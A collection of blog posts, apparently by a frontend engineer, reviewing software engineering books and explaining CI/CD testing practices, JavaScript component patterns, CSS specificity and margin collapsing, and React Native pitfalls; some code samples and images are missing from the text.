Continuous Delivery is not a book about testing per-se but it talks about automation, and in today's software world a ticket is not finished when the development part is done and verified but when it actually reaches production.
CI / CD pipelines are the norm in every Software or Product company, and a big part of the pipeline checks are focused on testings actions.
With this book, you will learn Why Continuous delivery is important and How to implement good testing practices in your CI / CD pipeline.
Overall the book is perfect if you want to understand how CI/CD pipelines work and how testing fits into it.
The one downside I found Continuous Delivery, written in 2010, is a long time in today's fast-moving industry.
GitHub Actions and companies like Docker have revolutionized the CI/CD market and a lot of the magic that is happening today is not part of this book.
## Testing Javascript Applications

The author of Testing Javascript Applications is an active maintainer of Chai.js and Sinon.js, both JS testing libraries and a contributor to Jest, so he is highly recommended(?) to write about Testing in Javascript.
Modern Javascript Applications are composed of multiple libraries, components, and utility functions, add to that different ways to handle data orchestration and you have yourself a big bag mix of everything that needs to be tested.
In this book, you have everything you need to know to handle complex Javascript Apps, from mocking, spies, and code examples to TDD best practices and how to implement a culture of quality by writing better tests.
My one issue with this book is that it also focuses on the backend side of Javascript, and quite a lot. As a lowly Frontend Engineer for me, a lot of parts of the book were a waste of time, but I would gladly recommend this book to any friend.
---
## Tech Books you have to read, to be a better Software Engineer
URL: https://neciudan.dev/tech-books-you-have-to-read-to-be-a-better-software-engineer
Published: 2022-10-17
There is no other profession where continuous learning is part of your day-to-day job. As Software Engineers, we are expected to read, experiment with new technologies, and generally try to accumulate as much knowledge as possible.
Here are some of the best tech books I read recently that I believe will make everyone a better Software Engineer:
- System Design Interview — An Insider’s Guide
- Grokking Algorithms An Illustrated Guide For Programmers and Other Curious People
- The Manager’s Path: A Guide for Tech Leaders Navigating Growth and Change
- Learning Domain-Driven Design: Aligning Software Architecture and Business Strategy
- Algorithms to Live By: The Computer Science of Human Decisions
- System Design Interview — An Insider’s Guide
## System Design Interview Book

System Design Interview — An Insider’s Guide by Alex Xu sells itself as a book you should use to prepare for interviews, but it is so much more than that.
Each chapter from the book is a high-level system design challenge, like how to build a Facebook News Feed or Youtube, etc, and it tells you what questions to ask and how to think about the problem.
This book threads the line between expert and novice. He explains a lot of things really really well, and if you are a beginner to them, you can learn a lot of new concepts.
The book also briefly mentions complex topics and then glosses over them which is to be expected for a book preparing you for interviews.
I really loved the chapter about rate limiters and different ways you can build them, but also on how to accomplish consistent hashing.
While the book focuses on System Design Challenges, high-level implementation, and how to deep dive into your solution, it also teaches a lot of basic concepts you need to know in today's Distributed System World.
While the book itself is an oversimplification of how the actual System does work, it gives you a basic view of what you need to learn and what concepts you need to deep dive into to be a better Software Engineer.
## Grokking Algorithms An Illustrated Guide For Programmers and Other Curious People

Grokking Algorithms An Illustrated Guide For Programmers and Other Curious People by Aditya Y. Bhargava is a really good book into basic Computer Science information.
The book does not go in-depth about algorithms or try to teach you how they work, so if you are already a Software Engineer, the concepts in this book are not going to feel new to you, but what this book gives you with its illustrations is a way to understand these algorithms in a different way that you were though in a typical CS classroom.
By reading this book, you can learn how to explain divide and conquer, graph-based solutions, greedy algorithms, and dynamic programming to an outside audience, like product managers or Junior engineers.
And if you do not know these concepts, maybe you studied at a Bootcamp or are a self-thought Programmer, it’s a very good way to get into the wonderful world of Algorithms.
Although I recommend as a follow-up reading, the holy grail book: Algorithms by Robert Sedgewick, Kevin Wayne
In conclusion, I think this book is an amazing introduction to the world of algorithms but also a good opportunity for Senior Engineers to develop an understanding that can be passed along to their mentees.
## The Manager’s Path: A Guide for Tech Leaders Navigating Growth and Change

The Manager’s Path: A Guide for Tech Leaders Navigating Growth and Change by Camille Fournier is more than the title says.
The book talks about the different paths that a Software Engineer can take, either by focusing on the technical side and advancing toward a Staff / Principal Engineering role or to take the people route and become an Engineering Manager.
I personally believe you have a third option of becoming a Developer Advocate, Speaker or Content Creator.
More importantly, it highlights the parts that you have to take advantage of before you make your career decision. Like mentoring junior engineers or understanding what your own manager has to go through.
If you are early in your career, for sure you would find this book incredibly useful, as it walks you through from the individual contributor role all the way up to the CTO role. It gives you a birds-eye view of the entire process and helps you avoid classic mistakes in the Tech Industry.
As a follow-up read, I also recommend The Staff Engineer’s Path: A Guide For Individual Contributors Navigating Growth and Change by Tanya Reilly which covers the more technical landscape that you have to navigate for this career choice.
## Learning Domain-Driven Design

Learning Domain-Driven Design: Aligning Software Architecture and Business Strategy by Vladik Khononov is not like the other books on this list.
It is a tech-heavy book that focuses on team management but also implementation details. The book would teach you how to break down your domains based on the importance of the domain: Core, Support, or Generic.
How to apply architecture practices to keep your domain bounded, and more importantly how to communicate effectively with other domains owned by different teams.
The book contains a lot of examples of how to implement these patterns, and when it's critical you use them.
There are also a lot of mistakes that were made by the author and directions on how to avoid these mistakes. It goes into detail about different testing practices and how to conduct and implement an Event Sourcing Practice.
While the book’s audience is more backend oriented, personally I felt that I, a Frontend Engineer, learned a lot. Especially about Event Driven communication or how to implement a Saga Pattern.
But my absolute favorite moment was when the author responded to one of my tweets and answered a couple of my questions.
## Algorithms to Live By: The Computer Science of Human Decisions

by Brian Christian and Tom Griffiths was published in 2016, and I am ashamed to have heard about it just this year.
This book is life-changing and I cannot recommend it enough. It is also recommended by my friend, Fotis Adamakis, in his article. He is the person who gifted me this book and I am forever thankful.
The book highlights how algorithms can positively influence our lives and help us make better decisions based on facts and data.
My biggest takeaway was to apply the Shortest Process Time to my tasks:
Say you have two projects, one takes 4 days for Client A and one takes 1 day for Client B.
If you do the big project first and the small one second the total waiting time for your clients is 9 days, Client A waits 4 days for his project, and Client B waits 4 days until you pick up his project and 1 day for it to finish.
Doing it in reverse, the total waiting time for your clients is 6 days. Optimizing for your client's happiness while for you it is still one week of work will steadily improve your portfolio of clients.
---
## 5 Testing Practices you should have in your CI / CD Pipeline
URL: https://neciudan.dev/5-testing-practices-you-should-have-in-your-cicd-pipeline
Published: 2022-10-10
## Let me tell you a story…
When I joined my current company, I received a pretty big shock. Out of the 500 engineers employed in three different tech hubs, we had a total of zero QA engineers employed.
For me, this was an entirely new concept, I moved from my previous company which had either one or two dedicated QA inside a Scrum Development team to ZERO.
I was used to having a fellow teammate go through my branch and add automated tests, API tests, or manually test it for various edge cases and business flows.
Without that person, what was I gonna do? During the onboarding we received clear instructions that we are supposed to follow the Testing Pyramid:
- Write a lot of unit tests
- Write some integration tests
- If the feature is important enough write an E2E test to cover the user's journey.
- Manually test the feature.
And for my first ever task in the team, I was supposed to change something or another in the Sign-Up Dialog (A pretty important part of the application)
After I finished with the task at hand, I refactored a little bit to make the code cleaner, and I followed the testing pyramid.
- I wrote unit tests
- I wrote integration tests
- I wrote an e2e test
After that, I, of course, manually tested the feature with multiple edge cases.

And the end result? I broke the CSS in almost ALL the dialogs in the application. And of course, as luck would have it, the dialog I was working on did not have this problem — it was great.
So we realized, pretty early in my tenure, that the testing pyramid was not working.
We decided to integrate more checks into our CI / CD pipeline to make sure that new joiners, like myself, would not break production as easily.
But it won't stop developers from dropping the SEO rank of the application, by increasing the Core Web Vitals. For that we need to have Performance tests in place.
## Performance Tests

There is a clear correlation between better Performance and Conversion Rate. And it makes sense, the faster your application loads, the sooner your users can interact with it and buy stuff.
Google takes this further and increases the SEO Rank for websites with better Performance. And it ranks performance based on these 3 metrics.
- FID (First Input Delay)
- LCP (Largest Contentful Paint)
- CLS (Cumulative Layout Shift)
I am not going to go into details about each of these metrics, but you can read all about them in the official documentation from Google.
What we care about is making sure we don't degrade these metrics when we release a feature.
To accomplish this we are using the recommended tool, Lighthouse CI (It is being maintained by core google members)
Once you integrated the CI library into your pipeline, writing the performance tests is pretty straightforward.

You basically care about only one command: cy.lighthouse() which runs the performance checks using the cypress library.
It boots the app in a browser, goes to the specified link, and compares the performance results to your thresholds — if the result is above the PR is not allowed to be merged.
These kinds of tests are what we call Lazy Tests. You write them once and forget about them, you don't have to actively maintain them, or write a lot of them for each new feature.
## Mutation Tests

And speaking of tests that we have to write a lot of… Unit tests have been here for a while.
They are at the bottom of the old-school pyramid. Considered the most important, because they are fast to run and cheap to write. (Which may no longer be the case in today’s Cloud Run Infrastructure)
But how do we make sure, that the most important piece of our testing infrastructure, is behaving as expected?
What if some of our tests are false positives? They are showing in our terminal and CI as green but are either skipped or worse: they are written badly and are not testing the result of the function under test.
*Mutation Testing* is the solution to our problem. And they work a little differently than normal tests. Usually, you would test that something works as expected, but mutation testing tests that something fails when it's supposed to.
Let’s think about a simple `sum` function.

A mutation testing library, would go through this function, analyze the AST and find all the places where it can mutate your function.
For example, it locates the + operator, and it can change it to different operators like minus, multiplication, etc.
Then the library runs all the tests of this function, and because it changed the operator it expects at least one test to fail. If all of them pass, that means your Mutation Test is kept alive, and you have a bad test suite on your hands.
You can inspect the mutation later, debug and improve your code.
Rinse and repeat until you are satisfied with your Unit Tests and because running Mutation Tests is Expensive, you don't have to add it to your CI pipeline, but can have an async process that does this every other month, to check the integrity of your Unit tests.
## Visual Tests
Remember my story from the beginning of the article? Well, that definitely would not have happened if we had Visual Tests in place.
As the name implies, these tests make sure that visually everything is in order with your pages.
You can write a test for each type of page you have, and the library you use would boot up that page and take a screenshot. It will then compare that image with the image from the master branch, and ask you if the changes it finds are intentional or mistakes.
With Visual Tests integrated into your CI pipeline, you will no longer be afraid to touch general components because you might break design in different pages.
They give you the most confidence when it is about the CSS part of the application.
The downside of Visual Tests though is that it does not do that well when interactivity is involved.
If you had to click a button or scroll to the bottom of the page, introducing interactivity also increases flakiness.
## Feature Tests
Feature Tests are the backbone of development these days. Adding Integration tests to your application is no longer a best practice because try as you might simulate a Frontend Application the best result is always achieved when you are testing *like a real user.*
Integrating different components together and testing the result in a terminal is not what we actually want, these are basically Unit Tests with extra steps (like mocking, stubbing, etc.)
We want our component to be booted in a browser, in isolation, and to interact with it as a user would.
This is achieved with *Component Testing*. The library of your choice starts a Single Page Application with just your component. And you can see what a real user is seeing.

You can mount your component with different props, or no props at all, and test the default behavior.

And then interact with your component as much as you want, while seeing the result in the browser.
This is also a good way to develop your component if you like writing TDD.
You don’t have to start the entire project just to see your small component in action, you can take advantage of the Component testing library and see it there.
Taking one step further, after your component has been tested in isolation you can also add an E2E test if your component is part of an important user journey.
Take care with E2E tests though, usually, they bring with them a lot of problems:
- They are slow
- They rely on backend Services to dynamically render content
- The API can have more significant latencies than the E2E library timeout period.
- You are most definitely testing multiple times the same section of a user's journey.
We had all these problems and more, and applied some practices to at least reduce the amount of flakiness:
- We run our E2E test suits in parallel, here is a good article on how to achieve this.
- We implemented Skip Functionality in our tests by mocking cookies or by URL parameters. Example: ?SKIP_LOGIN_FUNCTIONALITY=true, which simulates a logged-in User (Only on testing env).
- We mocked our entire API by creating our own mock server that records the live response. You can read more about it, here.
You may think that mocking the entire backend may defeat the purpose of an E2E test. But we have strong consistencies in place, by taking advantage of Contract Testing.
## Contract Tests

We found that the most common cause for all our outages was when the API response was different than the front-end application expected.
Usually, this error happened when a calculation in another micro-service fails and the gateway either returns undefined or skips the key in the response entirely.
Now the frontend application, the consumer of the data, declares a contract and says in every endpoint what response it expects and of what values and more importantly what type each value has to be. Some values can still be nullable of course.
You also declare in your contract, the services you are consuming, in case you have multiple APIs or you, are a backend Service consuming multiple micro-services.
The Contract is then saved in the testing library that you use, we chose PACT, and for every backend PR, it runs that output of the provider against that Contract. If it fails to respect the contract, the PR is blocked.
---
## Javascript Component Patterns to Scale up your Web Application
URL: https://neciudan.dev/javascript-component-patterns-to-scale-up-your-applications
Published: 2022-09-13

Many people don't realize this, but the biggest enemy of software engineering is change.
Changing your code over and over again opens the door for a myriad of bugs to sneak in. But this is the industry we live in, we have to build, deploy and measure very fast, and thinking at the beginning of all the possibilities your feature can take has the downside of slowing you down.
So how do you choose? Which features should be over-engineered from the start because they would have many changes, and which features are ok to go as fast as possible?
And after choosing, how do you build your components, in such a way they are resilient to bugs, follow SOLID Principles, are as extensible, and easy to test as you can make them?
In this article, we will talk about different component patterns, how to build them and when to use them.
If you prefer video format, I also talked about this subject Vue-Roadtrip Barcelona Conference, and [you can watch the video here](https://www.youtube.com/watch?t=23734&v=MZbDrmgpqcc&feature=youtu.be&ab_channel=JSWORLDConference).
---
A common problem in middle to big-sized applications is the number of teams that are continuously modifying code. A solution for this is to give ownership to components at the team level.
But even then, you will still have teams with horizontal ownership, like teams working on Performance, SEO, or other cross-app features.
Let’s assume that we live in the perfect world, and you and you’re team has strict ownership of a business domain and all the components associated with that domain.
The next step is to break down all the features that you own and split them into three categories:
- Core Features
- Support Features
= Generic Features
These categories will determine how you build your components. If your feature is a money-making feature for your app, a core functionality that makes your business stand out against your competitors then you can categorize it as a Core Feature.
*Core Features* tend to change, a lot, so you have to apply extra care when building and modifying the underline components to keep them readable and extensible.
If your Feature is more of a utility function, or something similar, then you can classify it as a Support Feature. This category rarely changes, once you build it and unit test it, odds are you will never touch it again—for example, the Base Modal in your app that extends all the other modals.
*Generic Features* on the hand, are features that every app has, like Authentication and Login, the Shopping Cart in an e-commerce application, etc. These features are in the middle of the might change spectrum.
So when we start a new feature or modify an existing one, take some time to categorize it and try to apply the component pattern that works better with it.
This way, you may save your future self and colleagues a lot of hassle in the future.
## Container — Presentational Pattern

One of the most popular component patterns there is, and a lot of people are using it without knowing its name or its benefits. It was made popular by Dan Abramov [in a blog post in 2015](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0), since then he has repented and no longer promotes this pattern, especially in React Applications.
But I still believe it has its merits when you properly scope your feature in the correct context.
The basic idea is to split your feature into container components and presentational components — just like the title says.
Presentational components:
- Are responsible to present something on the screen
- They have no logic of their own, that's why they are playfully called dumb
- They emit events when interacted upon.
- Are decoupled from the rest of the application logic
The last one means that you don't use inside them, 3rd party libraries or redux libraries, they just receive data as props, make that data look pretty for the user, and emit events when users are interacting with the component.
Container Components on the other hand:
- Are responsible for getting the data that we pass to our Presentational Components
- They listen for events from the child components and handle the logic needed for those events
- They can have multiple presentational / container components as children.
- But they should have only one domain responsibility.
The reason for the last bullet point is it can get very easy to add more and more logic to a container component. Because that's where the logic is supposed to be and that would transform our component into a God Object.
So keep your responsibilities clear, split your container component into multiple container components if needed and make sure your component is readable and testable.
Here is an example of this pattern in practice:

## Base — Variant Pattern

This pattern is pretty simple in theory and very useful in practice.
Imagine you have a ButtonComponent, a nice shiny red button, that triggers an alert when clicked.

Now, you want to have a disabled state which means we want the background to be greyed out, and when the button is clicked nothing to happen.
Easily enough! We can just pass another prop with our disabled flag and modify the component to suit our new behavior.

Now, seeing these two amazing buttons, your PM wants another button that has an icon and when clicked opens an Information Modal.
Being the good developer you are, you grind your teeth and add another prop for this flag and change the logic and style to accommodate this new request.

I think we can all see where this is going… there will always be another button, and another modification and our ButtonComponent will grow to such levels that it will be impossible to read what is happening inside.
This is often the case for Support features: Modals, Buttons, Dialogs, and other components typically found in a Design System.
The Base — Variant Pattern guides us to encapsulate all the core functionality of our component in a Base component and *never touch it again.*
Instead, every time there is a need for a new modification, we create a wrapper component around our BaseComponent with the new functionality and design. This is a very good example of the *Open / Closed Principle in S.O.L.I.D.*
Here is how our BaseButtonComponent will look, it has the HTML button semantics, it has the click event, and the base CSS styles.

Now, when our PM wants us to build our Disabled Button Feature. We create a new component DisabledButtonComponent, our first Variant, that wraps around BaseButton and has the desired functionality.

We proceed in the same fashion with the InfoButtonComponent and any other number of variants we want to build. The heart of what makes a button remains encapsulated in our BaseButtonComponent, and we don't have to worry about changes to our core functionality.
One thing to mention, it’s important for your codebase, to never use the BaseButton directly in your files. That way you completely isolate the core functionality from the implementation details.
In our entire project we want only variants, the original is safe and sound, never to be touched again.
## The Factory Pattern

> The Factory pattern is a creational pattern that uses factory methods to deal with the problem of creating components without having to specify the exact component that will be created.
Sounds complicated, right?
The use-case for this pattern is when you want to render multiple components, but you don’t know what components exactly. So you delegate that purpose to a factory.
The factory component takes an array of data and based on a type property it renders the corresponding component with the needed data as props.
One way to use this pattern is in a [Server Driven UI architecture](https://www.youtube.com/watch?v=Ir8lq4rSyyc). Made popular by Airbnb, this design pattern is very useful when you have one API for multiple clients. For example one web application and two mobile apps (iOS and Android).
It’s very expensive and it takes a lot of time to deploy something to the store apps. For example, you have to wait for the review of the respective stores which usually takes 2–3 days, and all you wanted to do was move one button from the left side to the right.
Server Driven UI gives that responsibility to the API, which sends a big response that basically paints the content in the app. It usually is an array of elements and each element has a type + the data necessary for that element.
Here is an example of a response:

Now the job of the frontend is to iterate through the elements and create the corresponding component. The component itself was in the codebase from the start, if the element type is something we don't have in our factory Enumarables we should default to a basic component.
While this pattern is extremely useful and clean and has the immense advantage to bring consistency across all your platforms, it also has some big disadvantages.
The skeleton for this takes a long time to build, especially the backend. You also need to already have a pretty good component library in your application that shares the same Design System with your apps.
Another big con is how hard it is to implement tracking for all your user actions. Because rendering the content is only half the battle. For every user interaction (button, link, input), we have to make the request to the API again and ask: *How should the content look now?*
As you can imagine this is not ideal when you care about performance.
We found that the perfect utility for this pattern is when rendering a list of components that their main action keeps the same design or takes you to another page. For example banners, products in an e-commerce listing, etc.
If your feature is a core business domain, this pattern could be useful, because once implemented it is very easy to change.
## Composable Components Pattern

From my experience, this pattern gives you the most flexibility when implementing features that have a high degree of change.
The goal of this pattern is to break your feature into atoms. Some are purely logic components and some are just presentational.
Technically it is a combination of the previous patterns, plus a little extra in the form of data providers. But we’re getting ahead of ourselves, let’s start with the basics.
First, you have to split your components into three types:
- Layout Components (responsible of the layout of the feature)
- Composables (responsible with the logic of the feature)
- Renderless Components. (responsible with mixing and matching the other two types of componenets)
Let's go through each of them.
### Layout Components
Going back to the container/presentation pattern, imagine you are building your feature, but you don’t know if you have the best design + functionality for your users.
Some users prefer a more minimalistic design with fewer features, while others need more information and a design that captures their attention.
Let’s build an imaginary feature.
Think of an input that adds your address in your favorite food delivery app. You have a button that opens a modal with a map and you can select your location. You also have a text input where you can write your address.
We want to A/B test variations of this input, design-wise but also logic-wise. In one variation we want the input with the location button and in another with more text and without this button.
Here are some screenshots of what we want:

Now, you might think the best solution is just to create two separate container components using the same presentational component. And in theory, we are doing just that, but we also want to separate the design part from the logic.
Because tomorrow, a new design may want to be implemented for our feature, and we don't want to have multiple containers with the same logic inside. *DRY = Don’t Repeat Yourself is our motto.*
### Composables / Hooks
Here is where the logic resides. Instead of having logic and layout in the same Container component, we split them into different types of components.
For each feature logic we have, we create composables or hooks in the React world.
These are pieces of logic, encapsulated, and reusable that do not return any HTML.
Keeping with our Address Input Feature, we identify 3 distinct logical components:
- The logic where we get the user's current location based on the Browser location data.
- The logic where we open the Location Modal once the user taps the button
- The logic to render the input, if the user already has an address or not.
- The logic of deciding when the input becomes sticky in the header.
We extract each of them into their own composable. For example:

Another example of a composable, is data providers. Maybe inside your feature you need access to some piece of data, either from a redux store or from another part of the application.
To not pollute our feature component with props that some part of the feature might not use or pass props around from child to parent, we create a ProviderComponent that gets the data and pass it along to the interested component.
Here is an example of a data provider:

### Renderless Container Components
It’s important to think of Composables and Layout components as our lego bricks. And it’s time to put everything together.
Using Renderless Container Components, we can mix and match as many layouts with the necessary logic, and provide information using data providers.
The end result is a feature that is split into tiny atomic particles that can be mixed and matched as much as possible.
Even better, if you need in the future to change your component, you do not modify the original. You just create a new variant, using either another layout, or adding another composable and so on…
There are downsides of course….

You would most certainly end up with something like this. The end result is not pretty but it is sure as hell very powerful.
When building a core business feature, take this pattern into account. It could save you a lot of time and resources.
---
## CSS: The !Important Parts
URL: https://neciudan.dev/css-the-important-parts
Published: 2022-07-22
CSS (Cascading Style Sheets) is a language used for describing the presentational layout of a document. More specifically it is used together with HTML to create beautiful and user-friendly websites or apps.
But since the first version of CSS came out in 1996, the language has evolved into a tool used to create really awesome things. Like the [entire cast of The Simpsons using just CSS](http://pattle.github.io/simpsons-in-css/) or a [CSS-only Game Boy](https://codepen.io/42EG4M1/pen/wBYmMK) or a [pretty cool starry night](https://codepen.io/seanseansean/pen/JdMMdG) and so much more.
Pretty amazing, right?
In this article, we will highlight how CSS works under the hood, what are the rules CSS uses to evaluate blocks of code, and some tips and tricks that can help you reach the next level in your journey to CSS Mastery.
## How Does CSS actually work?
When you start writing HTML, without adding CSS, the browser will render your elements in normal layout flow. Even after adding some CSS to your elements, if you do not change the display or position property, they will still be rendered in the normal flow.
What does that even mean?
**The layout model** dictates how your element behaves by default, and what CSS properties your element has access to.
Here are the available layout models:
- Normal Flow
- Positioned Layout (absolute, block)
- Flex
- Grid
- Table
Have you not noticed that z-index does not work if you do not apply the position property to your element? Well, this is the reason. The property is not available in the normal flow, or in some of the other layouts as well.
Adding position:absolute will switch your element from the normal layout module to the positioned one. In this layout model you have access to extra properties, like z-index.
z-index for example, determines the layout order of elements. If you have two elements in the same position and you want to stack them, the one with the higher z-index value will be on the top.
If you want to send an element to the bottom of the stack, just set it’s z-index value to a negative number.
A very important detail to remember is that z-index is only useful in the same stacking context.
A stacking context is the collection of child elements inside a parent element. So for example, if we have `.parent1 { z-index: 1; }` and inside we have `.child1 { z-index: 999; }` the child element will not be stacked against other elements outside of the parent.
[Here is a concrete example](https://codepen.io/cst2989/pen/ZExJBKw?editors=1100) to see this in action:

As you can see above, it does not matter that child1 has `z-index:999` and child2 has `z-index:-1` because we compare their stacking context.
So each layout model has its own properties and rules. And it shares some common ones as well. For example, both flex and grid contain the gap property to set the spacing between the items.
From this, it’s only a matter of figuring out what properties are implemented in which layout model, and then you will have fewer problems with CSS behaving differently from one context to another.
## Specificity. Rules are made to be followed
It took me a while to understand how specificity worked in CSS. It seemed unimportant (ironically) because everything just worked.
So what if sometimes I had to add a few `!important` here and there. Or move some code blocks lower in the CSS file to make sure they are applied last. Or worst-case scenario, duplicate some code for different classes. In the end, it worked and that was what mattered at the time.
I realized how wasteful I was when I had to write optimized code for web applications visited by millions of users. And how hard to debug my code actually was, and little by little I started to understand the rules the Browser Gods act upon us mortals.
So what is specificity and how does CSS work? Here is the definition from [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity):
> Specificity is the means by which a browser decides which CSS property values are the most relevant to an element and therefore will be applied. Specificity is only based on the matching rules which are composed of CSS selectors of different sorts.
Basically, the Browser looks at your CSS rule and gives it a score. Actually 4 scores.
Four numbers separated by a comma `0, 0, 0, 0`
Then when you have two colliding CSS rules it goes through the first digit and compares them if there is no clear winner it goes to the second digit and so on.
If all columns are equal, the browser will pick the rule based on the order. Here is where the Cascade name comes into place. It takes the one closer to the bottom.
Here is the breakdown of the four digits:
The first digit represents if the element has inline styles.
```
Hello World
```
The second digit represents the number of #ids in your CSS rule.
```
Hello World
```
or
```
#myParagraph {
color: blue;
}
```
The third digit is the number of classes, pseudo-classes, and attributes your CSS rule has.
```
Hello World
```
And lastly, we have the number of elements and pseudo-elements.
```
Hello World
```
So for each rule in each column, we increase the score of that column.
Now you may have read that inline-styles give you a score of 1000, ids of 100, and so forth. This is not true.
For example. Let’s say we have an element with 102 classes and just one ID. Like the following code:

If you would follow the rule recommended by some articles and w3school, the ID should have a score of 100, and the class should have a score of 103 resulting in a blue `Hello World` text. But if you check this in your browser it’s actually red.
Browsers do not compare apples with oranges. The browser first checks if we have conflicting rules at the inline-style level and applies the score there, then goes to IDs and so on and so forth.
Another example would be:

The `#test { color: red; }` has a specificity score of `0,1,0,0`. While the second CSS rule `.test-1-parent #test { color: yellow; }` has a specificity score of `0,1,1,0`. The first column is equal, so the Browser moves to the second column where both have a value of 1.
Then we move to the third column where color:yellow is the winner.
## Collapsing Margins
> “In CSS, the adjoining margins of two or more boxes (which might or might not be siblings) can combine to form a single margin. Margins that combine this way are said to collapse, and the resulting combined margin is called a collapsed margin.“ — W3C
I am ashamed to admit this, but in my second to the third year as a professional developer, I did not know about collapsing margins. Even worse than that, in my ignorance, I would argue with designers that complained that the spacing between elements was off.
I would open the DevTools and show them, margin-top:50px see? And they would nod, in that I-see-it-but-I-don't-believe-it way.
For this, I want to formally apologize to all designers that I did this to or to all designers that suffer from this because of ignorant developers like me.
Hopefully, I can make amends with this article and educate other poor ignorant frontend developers and you will never have to go through this again.
As you can imagine, collapsing margins, are the reason even though we had margin-top:50px; on the element the margin could be different. And here is why.
When two vertical margins (top and bottom) interact with one another, CSS has a weird rule, it makes them duke it out and the bigger one wins.
For example two HTML elements on the same level in the DOM, `.div1 { margin-bottom: 30px; }` and `.div2 { margin-top: 20px; }` , you would expect the distance to be the sum of the margins. But in fact, the collapsing margin rule comes into effect, and we only have 30px (the bigger margin from .div1) between them.
On the other hand, if one of the elements has a negative margin, `.div2 { margin-top: -20px; }` then it behaves as you expect. And the margin between them is the sum of 10px.
More mind-blowing though is when both elements have negative margins. For example, `.div1 { margin-bottom: -50px; }` and `.div2 { margin-top: -20px; }` you would expect again, either the sum or the biggest in mathematical terms to be the result, as we know -20 is bigger than -50 because it's closer to zero, but NO who invented CSS said no to proper maths and the margin between them is -50px. Amazing!
[Here is a Codepen](https://codepen.io/cst2989/pen/eYMRQwE) to simulate all examples:

One more thing to take into consideration is the parent-child relationship between elements where again collapsing margins can cause trouble.
If the parent element has a margin, let's say .parent { margin-top: 50px; } and the first child of this element also has a margin .child-1 { margin-top: 20px; } the margins will collapse again and we will only see the bigger one.
[Here is an example](https://codepen.io/cst2989/pen/oNqwJgQ):

So that’s how collapsin
g margins work. Now you may be wondering how to stop it. Easily enough, if you apply anything between the margins, like a border-top or a padding-top then the margins will not touch each other and will not collapse at all.
Think about this physical barrier as the referee that keeps two boxers at bay from fighting each other when the round ends.
## In Conclusion
CSS is hard! It has all sorts of wacky behavior. But if you know on which layout model you are, you have a better chance of figuring it out.
Specificity rules are there to decide between conflicting CSS properties. Remember the 4 levels and how to count the score.
And if margins are giving you a problem, remember that the physical barrier between your elements will keep them from fighting each other
You know what they say, a `border-top: 1px solid transparent`, keep the collapsing margins away.
---
## 5 Tips to Solve Common Pitfalls With React Native
URL: https://neciudan.dev/5-tips-to-solve-common-react-native-pitfalls
Published: 2022-01-24
The world of mobile development has expanded in recent years, going from being proprietary to Android and Swift developers to the fast pace world of Javascript with Hybrid Frameworks like Ionic or Native frameworks like React Native.
> React Native is an open-source UI software framework created by Meta Platforms, Inc. It is used to develop applications for Android, Android TV, iOS, macOS, tvOS, Web, Windows and UWP by enabling developers to use the React framework along with native platform capabilities.
When using React Native, you might encounter issues that are difficult to solve or find an answer to, mostly because the React Native community and ecosystem are not as big as other Javascript communities like React or Vue.
In this article, you will learn from my experience of how I solved some common React Native issues or implemented some tricky features.
## 1. Apple Connect Store Screenshots
Apple Store Review Process
When building apps with React Native you might be using a simulator to test your apps, rather than a physical device.
Like me, you might be surprised how difficult is to use Xcode Simulator to create the screenshots of the right size and density for the App Store.
In Google Play the process was straightforward and uploading screenshots you made in any simulator worked great, but for the Apple store, I could not get the dimensions right.
For a 6.5'’ iPhone they were asking for either 2688x1242 or 2778x1284. I tried all sorts of options and device emulators to achieve this … but with no success. Finally, I found the correct answer here.
Here is what you have to do:
- Set simulator to physical size: Window > Physical Size (Shortcut: command + 1)
- Set High-Quality Graphics: Debug > Graphics Quality Override > High Quality
- For a 6.5'’ iPhone use any Pro iPhone. I used 11 Pro
- For 5.5'’ iPhone use iPhone 8+ simulator.
- For Ipad Pro (3rd / 2nd gen) use Simulator iPad Pro (12.9-inch) (3rd generation)
## 2. The trouble with Fonts
By default React Native uses the standard font for each platform, which means ‘Roboto’ for Android and ‘San Francisco’ for iOS. Designers, however, usually like to use different fonts that fit the overall design of the app.
If you are lucky and the font is a Google Font, that’s great! You can use the package `expo-google-fonts`.
After installing the package, `expo install expo-google-fonts` , all you have to do is this:

Here we are importing the fonts and making sure they are loaded before starting the app, then you can easily use it in your stylesheet like this:
```
fontFamily: 'Lato_400Regular'
```
One issue that I had with expo-google-fonts was when I imported by mistake the entire project, which loaded all the fonts, and not just the Lato font, like this:
```
import { Lato_400Regular } from '@expo-google-fonts/dev';
```
This will work without problems on web-view, or in the Android simulator, but for iPhones, it will try to load all the fonts at once and it will crash the app because of memory limits.
So make sure you are importing only the fonts you need like this:
```
import { Lato_400Regular } from '@expo-google-fonts/lato';
```
## 3. Local Storage and Cookies on Mobile Devices
Having a Front End programming background, I’m used to abusing cookies and local storage for almost anything.
Need to save some user information for later use? Cookies! What about this request that barely changes … where can I cache it? Local Storage!
So here I was taking it for granted and adding my bearer token used for Authorization and User Information Object to Local Storage. Only when I started testing in emulators, did I realize that the token was not persisted and I was making every request with an empty Bearer string.
A quick internet search got me to the most used package in this situation: [react-native-async-storage/async-storage](https://github.com/react-native-async-storage/async-storage).
After installing the package, `expo install react-native-async-storage/async-storage` using it is as easy as normal local storage.

Pay close attention to JSON.stringify() and JSON.parse() functions. If you try to pass JSON instead of a string to the AsyncStorage.setItem() function, your app again is going to work on the web and even in the simulator but it will break in production and crash your app.
And debugging this issue can be quite troublesome, so having a quick check to stringify and parse by default can become good practice and save you from pain in the future.
## 4. Rendering HTML

You can hardcode texts in your application, but then whenever you want to change a text you have to go through the process of creating new builds for your app and submitting it on the app store again.
Worse, some users may have automatic updates disabled for your app and will never get the new version. To overcome this, you should always send your not-common texts through the API.
But even if you send your text through some request, what about dynamic content? What if you have articles or content with rich descriptions. In your backend, you may have a rich text editor so you can add headings and format your text to your desire, but in the app, you need a way to render that HTML into native Views.

To accomplish this you can use [react-native-render-html](https://github.com/meliorence/react-native-render-html). An iOS/Android pure javascript react-native component that renders your HTML into 100% native views.
Using it is very straightforward. It also has a prop to inject your fonts called `systemFonts`, as seen above.
The `tagStyles` prop can be used to style the HTML content. [Here is a short demo](https://codesandbox.io/s/thirsty-payne-j5ect?file=/src/App.js) to see it in action.
## 5. Short-circuit evaluations (&&)
One of my blunders coming from the React Ecosystem was my over-attachment to the && operator when rendering components.
```
{isFetching && }
```
And this worked great until I made the mistake of using non-Boolean values as the first operand like this:
```
{users.length && }
```
